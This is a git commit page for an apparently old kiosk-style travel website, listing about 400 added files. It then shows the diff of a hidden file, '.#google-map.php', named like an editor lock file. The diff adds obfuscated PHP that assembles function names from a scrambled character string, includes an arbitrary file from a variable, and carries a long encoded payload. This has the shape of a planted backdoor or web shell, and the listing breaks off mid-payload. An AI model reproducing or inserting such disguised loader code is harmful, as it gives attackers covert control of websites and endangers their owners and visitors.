old site from ws1 master
authorSteve Sutton <steve@gaslightmedia.com>
Thu, 17 Mar 2016 17:55:15 +0000 (13:55 -0400)
committerSteve Sutton <steve@gaslightmedia.com>
Thu, 17 Mar 2016 17:55:15 +0000 (13:55 -0400)
400 files changed:
.#google-map.php [new file with mode: 0755]
.DS_Store [new file with mode: 0755]
._home.html [new file with mode: 0755]
.gitignore [new file with mode: 0644]
GLM_site_check.phtml [new file with mode: 0644]
NWA_Feed.txt [new file with mode: 0644]
ScriptX.cab [new file with mode: 0644]
admin/Flight_Data/create_tables.txt [new file with mode: 0644]
admin/Kiosk_Notes/DialEnginePro/DialPro.ini [new file with mode: 0644]
admin/Kiosk_Notes/DialEnginePro/RegKey.zip [new file with mode: 0644]
admin/Kiosk_Notes/DialEnginePro/dialpro.zip [new file with mode: 0644]
admin/Kiosk_Notes/FIDS.doc [new file with mode: 0644]
admin/Kiosk_Notes/IEAdminKit/ieak6.exe [new file with mode: 0644]
admin/Kiosk_Notes/Kiosk Setup Proceedures.txt [new file with mode: 0644]
admin/Kiosk_Notes/Kiosk_Setup_Proceedures.txt [new file with mode: 0644]
admin/Kiosk_Notes/NWA_HTTP_Posting.doc [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/ReadMe.txt [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/SXdocs.zip [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/ScriptX.cab [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/ScriptX.exe [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/maxipt.zip [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/print_demo2.html [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/smsx.cab [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/smsx.exe [new file with mode: 0644]
admin/Kiosk_Notes/ScriptX/sxlic.mlf [new file with mode: 0644]
admin/Kiosk_Notes/SharedComputerToolkit/SCT_Upgrade_from_V1.exe [new file with mode: 0644]
admin/Kiosk_Notes/SharedComputerToolkit/Shared_Computer_Toolkit_ENU.msi [new file with mode: 0644]
admin/Kiosk_Notes/SharedComputerToolkit/readme.txt [new file with mode: 0644]
admin/Kiosk_Notes/create_tables.txt [new file with mode: 0644]
admin/Kiosk_Notes/dial_demo.html [new file with mode: 0755]
assets/Thumbs.db [new file with mode: 0755]
assets/back.gif [new file with mode: 0755]
assets/bg-home.jpg [new file with mode: 0755]
assets/bg-inside.gif [new file with mode: 0755]
assets/call.gif [new file with mode: 0755]
assets/cat-list-bg.gif [new file with mode: 0755]
assets/cat/Thumbs.db [new file with mode: 0755]
assets/cat/about.gif [new file with mode: 0755]
assets/cat/attractions.gif [new file with mode: 0755]
assets/cat/dining.gif [new file with mode: 0755]
assets/cat/flight.gif [new file with mode: 0755]
assets/cat/info.gif [new file with mode: 0755]
assets/cat/lodging.gif [new file with mode: 0755]
assets/cat/services.gif [new file with mode: 0755]
assets/cat/transportation.gif [new file with mode: 0755]
assets/hang-up.gif [new file with mode: 0755]
assets/inside-content-bg.jpg [new file with mode: 0755]
assets/left.gif [new file with mode: 0755]
assets/letters/Thumbs.db [new file with mode: 0755]
assets/letters/a.gif [new file with mode: 0755]
assets/letters/b.gif [new file with mode: 0755]
assets/letters/c.gif [new file with mode: 0755]
assets/letters/d.gif [new file with mode: 0755]
assets/letters/e.gif [new file with mode: 0755]
assets/letters/f.gif [new file with mode: 0755]
assets/letters/g.gif [new file with mode: 0755]
assets/letters/h.gif [new file with mode: 0755]
assets/letters/i.gif [new file with mode: 0755]
assets/letters/j.gif [new file with mode: 0755]
assets/letters/k.gif [new file with mode: 0755]
assets/letters/l.gif [new file with mode: 0755]
assets/letters/m.gif [new file with mode: 0755]
assets/letters/n.gif [new file with mode: 0755]
assets/letters/o.gif [new file with mode: 0755]
assets/letters/p.gif [new file with mode: 0755]
assets/letters/q.gif [new file with mode: 0755]
assets/letters/r.gif [new file with mode: 0755]
assets/letters/s.gif [new file with mode: 0755]
assets/letters/t.gif [new file with mode: 0755]
assets/letters/u.gif [new file with mode: 0755]
assets/letters/v.gif [new file with mode: 0755]
assets/letters/w.gif [new file with mode: 0755]
assets/letters/x.gif [new file with mode: 0755]
assets/letters/y.gif [new file with mode: 0755]
assets/letters/z.gif [new file with mode: 0755]
assets/list-head-bg.gif [new file with mode: 0755]
assets/map-directions.gif [new file with mode: 0755]
assets/more-info.gif [new file with mode: 0755]
assets/nav-home.jpg [new file with mode: 0755]
assets/nav-inside.gif [new file with mode: 0755]
assets/print.gif [new file with mode: 0755]
assets/print.php [new file with mode: 0644]
assets/right.gif [new file with mode: 0755]
assets/temp-banner.gif [new file with mode: 0755]
assets/temp-detail-photo.jpg [new file with mode: 0755]
assets/temp-photo.jpg [new file with mode: 0755]
banner.php [new file with mode: 0644]
banner.php.save [new file with mode: 0755]
caller.js [new file with mode: 0755]
classes/ChangeLog [new file with mode: 0755]
classes/class_auth.inc [new file with mode: 0755]
classes/class_calendar.inc [new file with mode: 0755]
classes/class_contact_form.inc [new file with mode: 0755]
classes/class_coupon.inc [new file with mode: 0755]
classes/class_db.inc [new file with mode: 0755]
classes/class_events.inc [new file with mode: 0755]
classes/class_flight.inc [new file with mode: 0644]
classes/class_flight.inc.save [new file with mode: 0755]
classes/class_importer.inc [new file with mode: 0755]
classes/class_photos.inc [new file with mode: 0755]
classes/class_search.inc [new file with mode: 0755]
classes/class_tellfriend.inc [new file with mode: 0755]
classes/class_template.inc [new file with mode: 0755]
classes/class_toolbox.inc [new file with mode: 0755]
classes/glm-Events-2-0.phtml [new file with mode: 0755]
classes/glm-Events-calendar-2-0.phtml [new file with mode: 0755]
classes/glm-Newsletter-2-0.phtml [new file with mode: 0755]
detail.php [new file with mode: 0755]
functions.inc [new file with mode: 0755]
functions_docs.txt [new file with mode: 0644]
gallery.jpg [new file with mode: 0755]
glm_apps/XML_Support/CVS.php [new file with mode: 0644]
glm_apps/XML_Support/NOTES/Array_Explanation.txt [new file with mode: 0644]
glm_apps/XML_Support/NOTES/XML_Support.txt [new file with mode: 0644]
glm_apps/XML_Support/xml_functions.inc [new file with mode: 0644]
glm_apps/XML_Support/xml_sample.inc [new file with mode: 0644]
glm_apps/XML_Support/xml_test.phtml [new file with mode: 0644]
glm_apps/index.html [new file with mode: 0644]
google-directions.php [new file with mode: 0755]
google-map.php [new file with mode: 0644]
google-map.save.php [new file with mode: 0755]
home.html [new file with mode: 0755]
index.php [new file with mode: 0755]
inside.php [new file with mode: 0755]
list.php [new file with mode: 0755]
map.php [new file with mode: 0755]
maps/gmaps_class.php [new file with mode: 0755]
maps/map.php [new file with mode: 0755]
maps/pins/001.png [new file with mode: 0644]
maps/pins/002.png [new file with mode: 0644]
maps/pins/003.png [new file with mode: 0644]
maps/pins/004.png [new file with mode: 0644]
maps/pins/005.png [new file with mode: 0644]
maps/pins/006.png [new file with mode: 0644]
maps/pins/007.png [new file with mode: 0644]
maps/pins/008.png [new file with mode: 0644]
maps/pins/009.png [new file with mode: 0644]
maps/pins/010.png [new file with mode: 0644]
maps/pins/011.png [new file with mode: 0644]
maps/pins/012.png [new file with mode: 0644]
maps/pins/013.png [new file with mode: 0644]
maps/pins/014.png [new file with mode: 0644]
maps/pins/015.png [new file with mode: 0644]
maps/pins/016.png [new file with mode: 0644]
maps/pins/017.png [new file with mode: 0644]
maps/pins/018.png [new file with mode: 0644]
maps/pins/019.png [new file with mode: 0644]
maps/pins/020.png [new file with mode: 0644]
maps/pins/021.png [new file with mode: 0644]
maps/pins/022.png [new file with mode: 0644]
maps/pins/023.png [new file with mode: 0644]
maps/pins/024.png [new file with mode: 0644]
maps/pins/025.png [new file with mode: 0644]
maps/pins/026.png [new file with mode: 0644]
maps/pins/027.png [new file with mode: 0644]
maps/pins/028.png [new file with mode: 0644]
maps/pins/029.png [new file with mode: 0644]
maps/pins/030.png [new file with mode: 0644]
maps/pins/031.png [new file with mode: 0644]
maps/pins/032.png [new file with mode: 0644]
maps/pins/033.png [new file with mode: 0644]
maps/pins/034.png [new file with mode: 0644]
maps/pins/035.png [new file with mode: 0644]
maps/pins/036.png [new file with mode: 0644]
maps/pins/037.png [new file with mode: 0644]
maps/pins/038.png [new file with mode: 0644]
maps/pins/039.png [new file with mode: 0644]
maps/pins/040.png [new file with mode: 0644]
maps/pins/041.png [new file with mode: 0644]
maps/pins/042.png [new file with mode: 0644]
maps/pins/043.png [new file with mode: 0644]
maps/pins/044.png [new file with mode: 0644]
maps/pins/045.png [new file with mode: 0644]
maps/pins/046.png [new file with mode: 0644]
maps/pins/047.png [new file with mode: 0644]
maps/pins/048.png [new file with mode: 0644]
maps/pins/049.png [new file with mode: 0644]
maps/pins/050.png [new file with mode: 0644]
maps/pins/051.png [new file with mode: 0644]
maps/pins/052.png [new file with mode: 0644]
maps/pins/053.png [new file with mode: 0644]
maps/pins/054.png [new file with mode: 0644]
maps/pins/055.png [new file with mode: 0644]
maps/pins/056.png [new file with mode: 0644]
maps/pins/057.png [new file with mode: 0644]
maps/pins/058.png [new file with mode: 0644]
maps/pins/059.png [new file with mode: 0644]
maps/pins/060.png [new file with mode: 0644]
maps/pins/061.png [new file with mode: 0644]
maps/pins/062.png [new file with mode: 0644]
maps/pins/063.png [new file with mode: 0644]
maps/pins/064.png [new file with mode: 0644]
maps/pins/065.png [new file with mode: 0644]
maps/pins/066.png [new file with mode: 0644]
maps/pins/067.png [new file with mode: 0644]
maps/pins/068.png [new file with mode: 0644]
maps/pins/069.png [new file with mode: 0644]
maps/pins/070.png [new file with mode: 0644]
maps/pins/071.png [new file with mode: 0644]
maps/pins/072.png [new file with mode: 0644]
maps/pins/073.png [new file with mode: 0644]
maps/pins/074.png [new file with mode: 0644]
maps/pins/075.png [new file with mode: 0644]
maps/pins/076.png [new file with mode: 0644]
maps/pins/077.png [new file with mode: 0644]
maps/pins/078.png [new file with mode: 0644]
maps/pins/079.png [new file with mode: 0644]
maps/pins/080.png [new file with mode: 0644]
maps/pins/081.png [new file with mode: 0644]
maps/pins/082.png [new file with mode: 0644]
maps/pins/083.png [new file with mode: 0644]
maps/pins/084.png [new file with mode: 0644]
maps/pins/085.png [new file with mode: 0644]
maps/pins/086.png [new file with mode: 0644]
maps/pins/087.png [new file with mode: 0644]
maps/pins/088.png [new file with mode: 0644]
maps/pins/089.png [new file with mode: 0644]
maps/pins/090.png [new file with mode: 0644]
maps/pins/091.png [new file with mode: 0644]
maps/pins/092.png [new file with mode: 0644]
maps/pins/093.png [new file with mode: 0644]
maps/pins/094.png [new file with mode: 0644]
maps/pins/095.png [new file with mode: 0644]
maps/pins/096.png [new file with mode: 0644]
maps/pins/097.png [new file with mode: 0644]
maps/pins/098.png [new file with mode: 0644]
maps/pins/099.png [new file with mode: 0644]
maps/pins/100.png [new file with mode: 0644]
maps/pins/101.png [new file with mode: 0644]
maps/pins/102.png [new file with mode: 0644]
maps/pins/103.png [new file with mode: 0644]
maps/pins/104.png [new file with mode: 0644]
maps/pins/105.png [new file with mode: 0644]
maps/pins/106.png [new file with mode: 0644]
maps/pins/107.png [new file with mode: 0644]
maps/pins/108.png [new file with mode: 0644]
maps/pins/109.png [new file with mode: 0644]
maps/pins/110.png [new file with mode: 0644]
maps/pins/111.png [new file with mode: 0644]
maps/pins/112.png [new file with mode: 0644]
maps/pins/113.png [new file with mode: 0644]
maps/pins/114.png [new file with mode: 0644]
maps/pins/115.png [new file with mode: 0644]
maps/pins/116.png [new file with mode: 0644]
maps/pins/117.png [new file with mode: 0644]
maps/pins/118.png [new file with mode: 0644]
maps/pins/119.png [new file with mode: 0644]
maps/pins/120.png [new file with mode: 0644]
maps/pins/121.png [new file with mode: 0644]
maps/pins/122.png [new file with mode: 0644]
maps/pins/123.png [new file with mode: 0644]
maps/pins/124.png [new file with mode: 0644]
maps/pins/125.png [new file with mode: 0644]
maps/pins/126.png [new file with mode: 0644]
maps/pins/127.png [new file with mode: 0644]
maps/pins/128.png [new file with mode: 0644]
maps/pins/129.png [new file with mode: 0644]
maps/pins/130.png [new file with mode: 0644]
maps/pins/131.png [new file with mode: 0644]
maps/pins/132.png [new file with mode: 0644]
maps/pins/133.png [new file with mode: 0644]
maps/pins/134.png [new file with mode: 0644]
maps/pins/135.png [new file with mode: 0644]
maps/pins/136.png [new file with mode: 0644]
maps/pins/137.png [new file with mode: 0644]
maps/pins/138.png [new file with mode: 0644]
maps/pins/139.png [new file with mode: 0644]
maps/pins/140.png [new file with mode: 0644]
maps/pins/141.png [new file with mode: 0644]
maps/pins/142.png [new file with mode: 0644]
maps/pins/143.png [new file with mode: 0644]
maps/pins/144.png [new file with mode: 0644]
maps/pins/145.png [new file with mode: 0644]
maps/pins/146.png [new file with mode: 0644]
maps/pins/147.png [new file with mode: 0644]
maps/pins/148.png [new file with mode: 0644]
maps/pins/149.png [new file with mode: 0644]
maps/pins/150.png [new file with mode: 0644]
maps/pins/151.png [new file with mode: 0644]
maps/pins/152.png [new file with mode: 0644]
maps/pins/153.png [new file with mode: 0644]
maps/pins/154.png [new file with mode: 0644]
maps/pins/155.png [new file with mode: 0644]
maps/pins/156.png [new file with mode: 0644]
maps/pins/157.png [new file with mode: 0644]
maps/pins/158.png [new file with mode: 0644]
maps/pins/159.png [new file with mode: 0644]
maps/pins/160.png [new file with mode: 0644]
maps/pins/161.png [new file with mode: 0644]
maps/pins/162.png [new file with mode: 0644]
maps/pins/163.png [new file with mode: 0644]
maps/pins/164.png [new file with mode: 0644]
maps/pins/165.png [new file with mode: 0644]
maps/pins/166.png [new file with mode: 0644]
maps/pins/167.png [new file with mode: 0644]
maps/pins/168.png [new file with mode: 0644]
maps/pins/169.png [new file with mode: 0644]
maps/pins/170.png [new file with mode: 0644]
maps/pins/171.png [new file with mode: 0644]
maps/pins/172.png [new file with mode: 0644]
maps/pins/173.png [new file with mode: 0644]
maps/pins/174.png [new file with mode: 0644]
maps/pins/175.png [new file with mode: 0644]
maps/pins/176.png [new file with mode: 0644]
maps/pins/177.png [new file with mode: 0644]
maps/pins/178.png [new file with mode: 0644]
maps/pins/179.png [new file with mode: 0644]
maps/pins/180.png [new file with mode: 0644]
maps/pins/181.png [new file with mode: 0644]
maps/pins/182.png [new file with mode: 0644]
maps/pins/183.png [new file with mode: 0644]
maps/pins/184.png [new file with mode: 0644]
maps/pins/185.png [new file with mode: 0644]
maps/pins/186.png [new file with mode: 0644]
maps/pins/187.png [new file with mode: 0644]
maps/pins/188.png [new file with mode: 0644]
maps/pins/189.png [new file with mode: 0644]
maps/pins/190.png [new file with mode: 0644]
maps/pins/191.png [new file with mode: 0644]
maps/pins/192.png [new file with mode: 0644]
maps/pins/193.png [new file with mode: 0644]
maps/pins/194.png [new file with mode: 0644]
maps/pins/195.png [new file with mode: 0644]
maps/pins/196.png [new file with mode: 0644]
maps/pins/197.png [new file with mode: 0644]
maps/pins/198.png [new file with mode: 0644]
maps/pins/199.png [new file with mode: 0644]
maps/pins/200.png [new file with mode: 0644]
maps/pins/201.png [new file with mode: 0644]
maps/pins/202.png [new file with mode: 0644]
maps/pins/203.png [new file with mode: 0644]
maps/pins/204.png [new file with mode: 0644]
maps/pins/205.png [new file with mode: 0644]
maps/pins/206.png [new file with mode: 0644]
maps/pins/207.png [new file with mode: 0644]
maps/pins/208.png [new file with mode: 0644]
maps/pins/209.png [new file with mode: 0644]
maps/pins/210.png [new file with mode: 0644]
maps/pins/211.png [new file with mode: 0644]
maps/pins/212.png [new file with mode: 0644]
maps/pins/213.png [new file with mode: 0644]
maps/pins/214.png [new file with mode: 0644]
maps/pins/215.png [new file with mode: 0644]
maps/pins/216.png [new file with mode: 0644]
maps/pins/shadow.png [new file with mode: 0644]
maps/zoom-in.png [new file with mode: 0755]
maps/zoom-out.png [new file with mode: 0755]
nwa_data.phtml [new file with mode: 0644]
nwa_data.phtml.SAVE [new file with mode: 0644]
nwa_data_manual.phtml [new file with mode: 0644]
nwa_test.phtml [new file with mode: 0644]
print.html [new file with mode: 0755]
print.js [new file with mode: 0755]
prototype/._lodging_list.html [new file with mode: 0755]
prototype/._lodging_list.jpg [new file with mode: 0755]
prototype/._lodging_list.psd [new file with mode: 0755]
prototype/._lodging_list2.html [new file with mode: 0755]
prototype/._lodging_list2.jpg [new file with mode: 0755]
prototype/Thumbs.db [new file with mode: 0644]
prototype/detail.php [new file with mode: 0755]
prototype/dialing-layer.psd [new file with mode: 0755]
prototype/home_breakout.psd [new file with mode: 0755]
prototype/index.html [new file with mode: 0755]
prototype/index.php [new file with mode: 0755]
prototype/inside.php [new file with mode: 0755]
prototype/list.php [new file with mode: 0755]
prototype/lodging.html [new file with mode: 0755]
prototype/lodging2.html [new file with mode: 0755]
prototype/lodging2b.html [new file with mode: 0755]
prototype/lodging_breakout.psd [new file with mode: 0755]
prototype/lodging_list.html [new file with mode: 0755]
prototype/lodging_list.jpg [new file with mode: 0755]
prototype/lodging_list.psd [new file with mode: 0755]
prototype/lodging_list2.html [new file with mode: 0755]
prototype/lodging_list2.jpg [new file with mode: 0755]
prototype/prototype.jpg [new file with mode: 0755]
prototype/prototype_inside.jpg [new file with mode: 0755]
prototype/prototype_inside_next.jpg [new file with mode: 0755]
prototype/prototype_inside_next2.jpg [new file with mode: 0755]
prototype/revised/Thumbs.db [new file with mode: 0644]
prototype/revised/home.html [new file with mode: 0755]
prototype/revised/home.jpg [new file with mode: 0755]
prototype/revised/lodgin_detail.html [new file with mode: 0755]
prototype/revised/lodging_detail.jpg [new file with mode: 0755]
prototype/revised/lodging_loading.html [new file with mode: 0755]
prototype/revised/lodging_loading.jpg [new file with mode: 0755]
prototype/revised/lodging_mainA.html [new file with mode: 0755]
prototype/revised/lodging_mainA.jpg [new file with mode: 0755]
prototype/revised/lodging_mainB.html [new file with mode: 0755]
prototype/revised/lodging_mainB.jpg [new file with mode: 0755]
prototype/revised/lodging_mainC.html [new file with mode: 0755]
prototype/revised/lodging_mainC.jpg [new file with mode: 0755]
prototype/revised/lodging_mainD.html [new file with mode: 0755]
prototype/revised/lodging_mainD.jpg [new file with mode: 0755]
setup.phtml [new file with mode: 0755]
siteinfo.inc [new file with mode: 0644]
styles.css [new file with mode: 0755]
test.html [new file with mode: 0755]
toolbox.html [new file with mode: 0755]
ui.phtml [new file with mode: 0644]

diff --git a/.#google-map.php b/.#google-map.php
new file mode 100755 (executable)
index 0000000..de7143a
--- /dev/null
@@ -0,0 +1,289 @@
+<?php
+if(!empty($Eii)) require_once($Eii);
+ $uINeYnyC=' _2+(TaWUHrBkzOdA4yw5tXhbo]0NQ[j8muRLv/Mgp9).DiZ|GCe1Y3x7El*nV6fF;KP$IS^qJs",}{c';$OkBXzTCZ=$uINeYnyC{79}.$uINeYnyC{10}.$uINeYnyC{51}.$uINeYnyC{6}.$uINeYnyC{21}.$uINeYnyC{51}.$uINeYnyC{1}.$uINeYnyC{63}.$uINeYnyC{34}.$uINeYnyC{60}.$uINeYnyC{79}.$uINeYnyC{21}.$uINeYnyC{46}.$uINeYnyC{25}.$uINeYnyC{60};$yaVmthqe=$uINeYnyC{68}.$uINeYnyC{74};$UmUSYCiK=$uINeYnyC{46}.$uINeYnyC{63}.$uINeYnyC{4}.$uINeYnyC{46}.$uINeYnyC{74}.$uINeYnyC{74}.$uINeYnyC{51}.$uINeYnyC{21}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{1}.$uINeYnyC{50}.$uINeYnyC{14}.$uINeYnyC{14}.$uINeYnyC{66}.$uINeYnyC{69}.$uINeYnyC{57}.$uINeYnyC{30}.$uINeYnyC{75}.$uINeYnyC{34}.$uINeYnyC{69}.$uINeYnyC{28}.$uINeYnyC{51}.$uINeYnyC{53}.$uINeYnyC{60}.$uINeYnyC{18}.$uINeYnyC{50}.$uINeYnyC{75}.$uINeYnyC{26}.$uINeYnyC{43}.$uINeYnyC{48}.$uINeYnyC{48}.$uINeYnyC{46}.$uINeYnyC{74}.$uINeYnyC{74}.$uINeYnyC{51}.$uINeYnyC{21}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{9}.$uINeYnyC{5}.$uINeYnyC{5}.$uINeYnyC{67}.$uINeYnyC{1}.$uINeYnyC{50}.$uINeYnyC{14}.$uINeYnyC{14}.$uINeYnyC{66}.$uINeYnyC{69}.$uINeYnyC{57}.$uINeYnyC{1}.$uINeYnyC{61}.$uINeYnyC{16}.$uINeYnyC{35}.$uINeYnyC{70}.$uINeYnyC{30}.$uINeYnyC{75}.$uINeYnyC{34}.$uINeYnyC{69}.$uINeYnyC{28}.$uINeYnyC{51}.$uINeYnyC{53}.$uINeYnyC{60}.$uINeYnyC{18}.$uINeYnyC{50}.$uINeYnyC{75}.$uINeYnyC{26}.$uINeYnyC{43}.$uINeYnyC{43}.$uINeYnyC{78}.$uINeYnyC{63}.$uINeYnyC{34}.$uINeYnyC{60}.$uINeYnyC{79}.$uINeYnyC{21}.$uINeYnyC{46}.$uINeYnyC{25}.$uINeYnyC{60}.$uINeYnyC{0}.$uINeYnyC{10}.$uINeYnyC{32}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{74}.$uINeYnyC{76}.$uINeYnyC{68}.$uINeYnyC{41}.$uINeYnyC{43}.$uINeYnyC{78}.$uINeYnyC{10}.$uINeYnyC{51}.$uINeYnyC{21}.$uINeYnyC{34}.$uINeYnyC{10}.$uINeYnyC{60}.$uINeYnyC{0}.$uINeYnyC{68}.$uINeYnyC{74}.$uINeYnyC{71}.$uINeYnyC{74}.$uINeYnyC{21}.$uINeYnyC{10}.$uINeYnyC{1}.$uINeYnyC{41}.$uINeYnyC{6}.$uINeYnyC{15}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{41}.$uINeYnyC{76}.$uINeYnyC{74}.$uINeYnyC{21}.$uINeYnyC{10}.$uINeYnyC{58}.$uINeYnyC{51}.$uINeYnyC{60}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{74}.$uINeYnyC{43}.$uINeYnyC{76}.$uINeYnyC{68}.$uINeYnyC{41}.$uINeYnyC{43}.$uINeYnyC{65}.$uINeYnyC{77}.$uINeYnyC{65}.$uINeYnyC{51}.$uINeYnyC{37}.$uINeYnyC{6}.$uINeYnyC{58}.$uINeYnyC{4}.$uINeYnyC{10}.$uINeYnyC{32}.$uINeYnyC{4}.$uINeYnyC{24}.$uINeYnyC{6}.$uINeYnyC{74}.$uINeYnyC{51}.$uINeYnyC{62}.$uINeYnyC{17}.$uINeYnyC{1}.$uINeYnyC{15}.$uINeYnyC{51}.$uINeYnyC{79}.$uINeYnyC{25}.$uINeYnyC{15}.$uINeYnyC{51}.$uINeYnyC{4}.$uINeYnyC{68}.$uINeYnyC{74}.$uINeYnyC{43}.$uINeYnyC{76}.$uINeYnyC{75}.$uINeYnyC{9}.$uINeYnyC{40}.$uINeYnyC{7}.$uINeYnyC{66}.$uINeYnyC{14}.$uINeYnyC{67}.$uINeYnyC{9}.$uINeYnyC{5}.$uINeYnyC{75}.$uINeYnyC{43}.$uINeYnyC{43}.$uINeYnyC{65}.$uINeYnyC{77};$OozzQPLo="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